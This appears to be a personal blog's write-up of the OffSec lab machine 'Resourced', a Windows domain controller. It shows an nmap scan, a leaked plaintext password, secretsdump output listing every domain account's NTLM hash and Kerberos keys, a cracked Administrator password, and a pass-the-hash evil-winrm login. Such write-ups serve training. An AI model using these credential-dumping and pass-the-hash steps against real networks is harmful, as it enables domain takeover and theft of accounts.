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Muqaram Majid
  1. CTF Writeups/

Resourced

·512 words·3 mins
Muqaram Majid
Author
Muqaram Majid
Just jotting down my thoughts
Table of Contents

Resourced
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Overview
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  • OS: Windows
  • IP: 192.168.139.175
  • Difficulty: Hard
  • Platform: OffSec
  • OSCP: Yes
  • Lists: N/A

Summary
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initial access w exposed creds privesc with RBCD.

Loot
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Loot
CategoryDetails
Usernames
Passwords
Usernames+Passwords
Hashes
Service Versions

Enumeration
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Nmap
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└─$ nmap -p- 192.168.139.175 -Pn -sCV -A  --min-rate=20000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 08:50 EDT
Nmap scan report for 192.168.139.175
Host is up (0.081s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-30 12:50:59Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: resourced
|   NetBIOS_Domain_Name: resourced
|   NetBIOS_Computer_Name: RESOURCEDC
|   DNS_Domain_Name: resourced.local
|   DNS_Computer_Name: ResourceDC.resourced.local
|   DNS_Tree_Name: resourced.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-03-30T12:51:56+00:00
|_ssl-date: 2026-03-30T12:52:35+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=ResourceDC.resourced.local
| Not valid before: 2026-03-29T12:49:54
|_Not valid after:  2026-09-28T12:49:54
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (92%), Microsoft Windows 10 1903 - 21H1 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB
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looks like we got some juice

V.Ventz :: Hotelcalifornia194!

from the password audit we were able to grab

security system ntds.dit ntds.jfm

impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY local | tee dmp.txt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 9298735ba0d788c4fc05528650553f94
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:12579b1666d4ac10f0f59f300776495f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
RESOURCEDC$:1000:aad3b435b51404eeaad3b435b51404ee:9ddb6f4d9d01fedeb4bccfb09df1b39d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3004b16f88664fbebfcb9ed272b0565b:::
M.Mason:1103:aad3b435b51404eeaad3b435b51404ee:3105e0f6af52aba8e11d19f27e487e45:::
K.Keen:1104:aad3b435b51404eeaad3b435b51404ee:204410cc5a7147cd52a04ddae6754b0c:::
L.Livingstone:1105:aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808:::
J.Johnson:1106:aad3b435b51404eeaad3b435b51404ee:3e028552b946cc4f282b72879f63b726:::
V.Ventz:1107:aad3b435b51404eeaad3b435b51404ee:913c144caea1c0a936fd1ccb46929d3c:::
S.Swanson:1108:aad3b435b51404eeaad3b435b51404ee:bd7c11a9021d2708eda561984f3c8939:::
P.Parker:1109:aad3b435b51404eeaad3b435b51404ee:980910b8fc2e4fe9d482123301dd19fe:::
R.Robinson:1110:aad3b435b51404eeaad3b435b51404ee:fea5a148c14cf51590456b2102b29fac:::
D.Durant:1111:aad3b435b51404eeaad3b435b51404ee:08aca8ed17a9eec9fac4acdcb4652c35:::
G.Goldberg:1112:aad3b435b51404eeaad3b435b51404ee:62e16d17c3015c47b4d513e65ca757a2:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:73410f03554a21fb0421376de7f01d5fe401b8735d4aa9d480ac1c1cdd9dc0c8
Administrator:aes128-cts-hmac-sha1-96:b4fc11e40a842fff6825e93952630ba2
Administrator:des-cbc-md5:80861f1a80f1232f
RESOURCEDC$:aes256-cts-hmac-sha1-96:b97344a63d83f985698a420055aa8ab4194e3bef27b17a8f79c25d18a308b2a4
RESOURCEDC$:aes128-cts-hmac-sha1-96:27ea2c704e75c6d786cf7e8ca90e0a6a
RESOURCEDC$:des-cbc-md5:ab089e317a161cc1
krbtgt:aes256-cts-hmac-sha1-96:12b5d40410eb374b6b839ba6b59382cfbe2f66bd2e238c18d4fb409f4a8ac7c5
krbtgt:aes128-cts-hmac-sha1-96:3165b2a56efb5730cfd34f2df472631a
krbtgt:des-cbc-md5:f1b602194f3713f8
M.Mason:aes256-cts-hmac-sha1-96:21e5d6f67736d60430facb0d2d93c8f1ab02da0a4d4fe95cf51554422606cb04
M.Mason:aes128-cts-hmac-sha1-96:99d5ca7207ce4c406c811194890785b9
M.Mason:des-cbc-md5:268501b50e0bf47c
K.Keen:aes256-cts-hmac-sha1-96:9a6230a64b4fe7ca8cfd29f46d1e4e3484240859cfacd7f67310b40b8c43eb6f
K.Keen:aes128-cts-hmac-sha1-96:e767891c7f02fdf7c1d938b7835b0115
K.Keen:des-cbc-md5:572cce13b38ce6da
L.Livingstone:aes256-cts-hmac-sha1-96:cd8a547ac158c0116575b0b5e88c10aac57b1a2d42e2ae330669a89417db9e8f
L.Livingstone:aes128-cts-hmac-sha1-96:1dec73e935e57e4f431ac9010d7ce6f6
L.Livingstone:des-cbc-md5:bf01fb23d0e6d0ab
J.Johnson:aes256-cts-hmac-sha1-96:0452f421573ac15a0f23ade5ca0d6eada06ae85f0b7eb27fe54596e887c41bd6
J.Johnson:aes128-cts-hmac-sha1-96:c438ef912271dbbfc83ea65d6f5fb087
J.Johnson:des-cbc-md5:ea01d3d69d7c57f4
V.Ventz:aes256-cts-hmac-sha1-96:4951bb2bfbb0ffad425d4de2353307aa680ae05d7b22c3574c221da2cfb6d28c
V.Ventz:aes128-cts-hmac-sha1-96:ea815fe7c1112385423668bb17d3f51d
V.Ventz:des-cbc-md5:4af77a3d1cf7c480
S.Swanson:aes256-cts-hmac-sha1-96:8a5d49e4bfdb26b6fb1186ccc80950d01d51e11d3c2cda1635a0d3321efb0085
S.Swanson:aes128-cts-hmac-sha1-96:6c5699aaa888eb4ec2bf1f4b1d25ec4a
S.Swanson:des-cbc-md5:5d37583eae1f2f34
P.Parker:aes256-cts-hmac-sha1-96:e548797e7c4249ff38f5498771f6914ae54cf54ec8c69366d353ca8aaddd97cb
P.Parker:aes128-cts-hmac-sha1-96:e71c552013df33c9e42deb6e375f6230
P.Parker:des-cbc-md5:083b37079dcd764f
R.Robinson:aes256-cts-hmac-sha1-96:90ad0b9283a3661176121b6bf2424f7e2894079edcc13121fa0292ec5d3ddb5b
R.Robinson:aes128-cts-hmac-sha1-96:2210ad6b5ae14ce898cebd7f004d0bef
R.Robinson:des-cbc-md5:7051d568dfd0852f
D.Durant:aes256-cts-hmac-sha1-96:a105c3d5cc97fdc0551ea49fdadc281b733b3033300f4b518f965d9e9857f27a
D.Durant:aes128-cts-hmac-sha1-96:8a2b701764d6fdab7ca599cb455baea3
D.Durant:des-cbc-md5:376119bfcea815f8
G.Goldberg:aes256-cts-hmac-sha1-96:0d6ac3733668c6c0a2b32a3d10561b2fe790dab2c9085a12cf74c7be5aad9a91
G.Goldberg:aes128-cts-hmac-sha1-96:00f4d3e907818ce4ebe3e790d3e59bf7
G.Goldberg:des-cbc-md5:3e20fd1a25687673

Administrator password cracks Administrator:ItachiUchiha888

lets get in

Dirbusting
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Port 80
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Exploitation
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Once the primitive was confirmed, I converted it into a stable foothold and chained it forward.

from the hashes we got earlier this one combo works

evil-winrm -i $IP -u recourced.local\\L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808

we follow my GenericAll RBCD procedure and get the flag